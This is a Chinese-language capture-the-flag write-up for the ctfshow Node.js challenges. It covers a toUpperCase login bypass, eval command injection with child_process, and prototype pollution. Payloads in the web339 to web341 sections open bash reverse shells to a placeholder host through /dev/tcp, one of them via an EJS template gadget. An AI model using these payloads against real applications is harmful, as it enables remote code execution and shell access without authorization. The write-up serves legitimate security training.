0%

ctfshow-nodejs

note

1
constructor.prototype==__proto__

web334

1
2
3
4
5
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

看到前面
name!=='CTFSHOW'
后面
item.username === name.toUpperCase
那么直接输入小写ctfshow和123456即可绕过

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

web335

查看源码,知道参数/?eval=
传入参数
eval=require('child_process').exec('id');

可以看到是object Object 无回显
因为exec返回的是 ChildProcess
http://nodejs.cn/api/child_process.html
查看文档可以替换成如下函数

1
2
3
4
5
命令执行
?eval=require('child_process').execSync('ls').toString();
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');

1
2
3
文件操作
?eval=require('fs').readdirSync('.');
?eval=require('fs').readFileSync('fl001g.txt');

web336

传入
require('child_process').execSync('ls /').toString()
require('child_process').exec('ls /')
均回显tql,盲猜过滤了exec
使用
require('child_process').spawnSync('ls',[]).output;
require('child_process').spawnSync('cat',['fl001g.txt']).output;
或者web335的读文件操作

web337

1
2
3
4
5
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}

类似于php的传输入
payload: /?a[x]=1&b[x]=1

web338

原型链污染:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

看到copy这个函数的实现,可以想到原型链污染
根据app.js的路由,知道是routes/login.js这个文件
那么只需要抓取登录包,把post内容改为
{"__proto__":{"ctfshow":"36dboy"}}
即可获取flag

web339

在做之前调试了一下nodejs,发现原型链污染完以后,在下次那个被污染的还是被污染,并不会在下次访问的时候就变成未被污染的状态

预期解

1
2
3
4
5
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

只要把query进行变量覆盖,就可以进行任意命令执行

注意这里是大写Function,是一个构造器,可以把这里分解为两步看

用如下payload访问login页面
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/2334 0>&1\"')"}}
成功将query进行覆盖,再去访问api那个页面,就会反弹shell

非预期

主要是一个ejsRCE,参考链接:https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/2334 0>&1\"');var __tmp2"}}

web340

1
2
3
4
5
6
7
8
9
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);

因为这次是复制user.userinfo的对象,所以需要两层proto,才能污染到最顶端的值,也就是
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/2334 0>&1\"')"}}}

web341

使用ejsRCE进行反弹shell,但是这次render点在index.js
所以对login进行了原型链污染以后,需要在访问一次index.js才能反弹shell

web342 web343

https://xz.aliyun.com/t/7025
可以根据这篇文章进行调试
核心就是找到可覆盖点(可插入到模板中,且为undefined)

为什么要undefined
因为只有在某个对象他没有定义这个变量的时候才会向上的prototype去寻找,否则就算污染了原型链也是没法利用的

注意这里的payload要用execSync,不能用exec

web344

这题关键是多个相同的参数传递过去,nodejs会将其拼接为列表的形式


这里传参的时候要把payload复制到burp里面,如果浏览器直接访问,会出一些编码错误
payload
query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}